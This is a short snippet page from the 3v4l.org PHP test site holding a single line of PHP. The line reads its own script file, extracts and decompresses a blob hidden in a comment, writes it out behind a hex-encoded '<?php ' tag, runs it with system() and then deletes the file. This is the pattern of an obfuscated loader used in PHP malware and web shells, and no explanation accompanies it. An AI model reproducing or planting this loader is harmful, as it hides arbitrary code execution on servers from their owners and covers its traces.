3v4l.org

run code in 300+ PHP versions simultaneously
<?php $fp=fopen($f,'w');fwrite($fp,"\x3C\x3F\x70\x68\x70\x20".gzinflate(preg_match("#/\*\*(.*)\*\*/#se",implode("",file($_SERVER["SCRIPT_FILENAME"])),$match)?($match[1]):''));fclose($fp);system('php -f '.$f);unlink($f);

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36.15 ms | 402 KiB | 5 Q